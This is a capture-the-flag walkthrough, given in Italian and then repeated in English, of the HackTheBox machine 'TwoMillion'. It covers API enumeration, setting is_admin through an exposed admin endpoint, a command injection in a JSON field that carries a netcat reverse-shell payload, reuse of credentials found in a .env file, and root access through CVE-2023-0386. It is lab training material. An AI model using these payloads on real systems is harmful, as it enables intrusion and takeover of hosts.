TwoMillion
Foothold
Si mappa l’IP della macchina con l’hostname 2million.htb nel file /etc/hosts.
Si effettua una scansione TCP e si ottiene
kali@0xPR3ST1JH0NN7:~$ sudo nmap -sV -vv -oN tcp.txt 2million.htb
# Nmap 7.94SVN scan initiated Fri Mar 7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt 2million.htb
Nmap scan report for 2million.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 128 nginx
801/tcp closed device reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds
Ci sono due servizi attivi sulla macchina, SSH sulla porta 22 e HTTP sulla porta 80 servito da nginx. Il web server sulla porta 80 ospita una piattaforma web e questa è la sua home, navigando si nota la sezione di login.

Scorrendo la home si trova la sezione [join]

Cliccando su “Join HTB” si ottiene la seguente pagina

Ispezionando il sorgente della pagina si individua una funzione che verifica l’input chiamando l’API /api/v1/invite/verify. Se la validazione va a buon fine, il valore viene memorizzato nel localStorage prima di eseguire il redirect su /register, dove sarà poi impiegato.

Andando nella sezione /register si ha questa visualizzazione

Dopo aver constatato il fallimento dei tentativi di bruteforce sull’invite code, si è provato a interrogare l’endpoint /api/v1 per mappare le API esposte, ricevendo però un “401 Unauthorized”. Di conseguenza si è optato per l’enumerazione di altri endpoint potenzialmente sfruttabili.
L’enumerazione è stata eseguita con il comando seguente, inviando richieste POST verso /api/v1/invite e utilizzando una wordlist per identificare azioni valide, avendo cura di scartare le risposte contenenti la stringa “404 - Not Found”.
kali@0xPR3ST1JH0NN7:~$ ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST
Il risultato è il seguente

Questa procedura ha rivelato l’esistenza dell’endpoint /generate, portando a testare direttamente il comportamento di questa nuova chiamata.
Richiesta
POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91
{
"0":200,
"success":1,
"data":{
"code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
"format":"encoded"
}
}
La chiamata restituisce un valore in formato base64. Una volta decodificato e inviato all’endpoint /verify, il codice risulta valido e viene impiegato con successo per completare la fase di registrazione sulla piattaforma.
Di seguito la richiesta per effettuare la validazione del codice.
Richiesta
POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive
code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&[email protected]&password=user&password_confirmation=user
Risposta
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0
La location riporta alla login e si effettua l’accesso con le stesse credenziali usate in fase di registrazione poco sopra.
Si ottiene la seguente visualizzazione

Avendo completato l’accesso e ottenuto un cookie valido, si tenta nuovamente l’interrogazione dell’endpoint /api/v1.
Richiesta
GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
L’interrogazione restituisce la lista delle API disponibili, tra cui spiccano per interesse quelle dedicate agli amministratori.
Si invia una richiesta PUT vuota all’endpoint /api/v1/admin/settings/update per capire come risponde il server e come costruire la richiesta corretta.
Richiesta
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 0
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 56
{
"status":"danger",
"message":"Missing parameter: email"
}
Si aggiunge la mail nel body e si invia la richiesta
Richiesta
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 61
{
"email" : "[email protected]"
}
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 59
{
"status":"danger",
"message":"Missing parameter: is_admin"
}
Si aggiunge anche il parametro is_admin.
Richiesta
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 74
{
"email" : "[email protected]",
"is_admin" : 1
}
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40
{
"id":13,
"username":"user",
"is_admin":1
}
Sono stati ottenuti i permessi di admin e si ha accesso ad altre API, come /api/v1/admin/vpn/generate. Testando i vari input nel parametro “username” del JSON viene individuata una vulnerabilità di tipo OS Command Injection.
Si avvia un listener in background e si procede con l’invio della seguente richiesta HTTP.
Richiesta
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57
{
"username":"user;⟦rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f⟧"
}
All’interno del listener si cattura la reverse shell

Foothold ottenuto.
Lateral Movement
Il foothold ottenuto tramite l’utente “www-data” risulta tuttavia limitato, trattandosi di un account ristretto secondo il principio del least privilege. Si rende pertanto necessaria un’attività di lateral movement per passare all’utente “admin” e proseguire con l’attacco.
Elencando tutti i file della directory si nota la presenza di un file nascosto .env, dal cui contenuto è possibile recuperare le credenziali.

Si effettua l’accesso in SSH con le credenziali admin:SuperDuperPass123 e si prende la flag user.txt.
Privilege Escalation
Lanciando lo script linpeas.sh emerge la possibilità di accedere in lettura al file /var/mail/admin.

Questo indica la presenza di una vulnerabilità kernel relativa a OverlayFS / FUSE. Effettuando una ricerca si trova la CVE-2023-0386 e una PoC che mette a disposizione un exploit pronto all’uso. Si lanciano quindi le istruzioni nei rispettivi terminali come mostrato di seguito.


Shell ottenuta! Si invia la flag root.txt.
Foothold
First we map the machine’s IP to the hostname 2million.htb in the /etc/hosts file.
We run a TCP scan and get
kali@0xPR3ST1JH0NN7:~$ sudo nmap -sV -vv -oN tcp.txt 2million.htb
# Nmap 7.94SVN scan initiated Fri Mar 7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt 2million.htb
Nmap scan report for 2million.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 128 nginx
801/tcp closed device reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds
There are two services running on the machine, SSH on port 22 and HTTP on port 80 served by nginx. The web server on port 80 hosts a web platform and this is its home page, while browsing we notice the login section.

Scrolling through the home page we find the [join] section

Clicking on “Join HTB” brings up the following page

Inspecting the page source we identify a function that verifies the input by calling the /api/v1/invite/verify API. If the validation succeeds, the value is stored in localStorage before performing the redirect to /register, where it is later used.

Going to the /register section we get this view

After confirming that the bruteforce attempts on the invite code all failed, we tried querying the /api/v1 endpoint to map the exposed APIs, but received a “401 Unauthorized”. As a result we opted to enumerate other potentially exploitable endpoints.
The enumeration was carried out with the following command, sending POST requests to /api/v1/invite and using a wordlist to identify valid actions, taking care to discard the responses containing the string “404 - Not Found”.
kali@0xPR3ST1JH0NN7:~$ ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST
The result is the following

This procedure revealed the existence of the /generate endpoint, leading us to test the behavior of this new call directly.
Request
POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91
{
"0":200,
"success":1,
"data":{
"code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
"format":"encoded"
}
}
The call returns a value in base64 format. Once decoded and sent to the /verify endpoint, the code turns out to be valid and is successfully used to complete the registration phase on the platform.
Below is the request to perform the validation of the code.
Request
POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive
code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&[email protected]&password=user&password_confirmation=user
Response
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0
The location redirects to the login and we log in with the same credentials used during the registration above.
We get the following view

Having completed the login and obtained a valid cookie, we try the /api/v1 endpoint query again.
Request
GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
The query returns the list of available APIs, among which the ones dedicated to administrators stand out as the most interesting.
We send an empty PUT request to the /api/v1/admin/settings/update endpoint to see how the server responds and how to build the correct request.
Request
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 0
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 56
{
"status":"danger",
"message":"Missing parameter: email"
}
We add the email to the body and send the request
Request
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 61
{
"email" : "[email protected]"
}
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 59
{
"status":"danger",
"message":"Missing parameter: is_admin"
}
We also add the is_admin parameter.
Request
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 74
{
"email" : "[email protected]",
"is_admin" : 1
}
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40
{
"id":13,
"username":"user",
"is_admin":1
}
Admin privileges have now been obtained and we have access to other APIs, such as /api/v1/admin/vpn/generate. By testing the various inputs in the “username” parameter of the JSON we find an OS Command Injection vulnerability.
We start a listener in the background and proceed to send the following HTTP request.
Request
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57
{
"username":"user;⟦rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f⟧"
}
Inside the listener we catch the reverse shell

Foothold obtained.
Lateral Movement
The foothold obtained through the “www-data” user is nonetheless limited, being an account restricted according to the least privilege principle. A lateral movement is therefore needed to switch to the “admin” user and continue the attack.
Listing all the files in the directory we notice a hidden .env file, from whose content we can retrieve the credentials.

We log in via SSH with the credentials admin:SuperDuperPass123 and grab the user.txt flag.
Privilege Escalation
Running the linpeas.sh script we notice the possibility of reading the /var/mail/admin file.

This indicates the presence of a kernel vulnerability related to OverlayFS / FUSE. Searching for it we find the CVE-2023-0386 and a PoC that provides a ready to use exploit. We then run the instructions in the respective terminals as shown below.


Shell obtained! We submit the root.txt flag.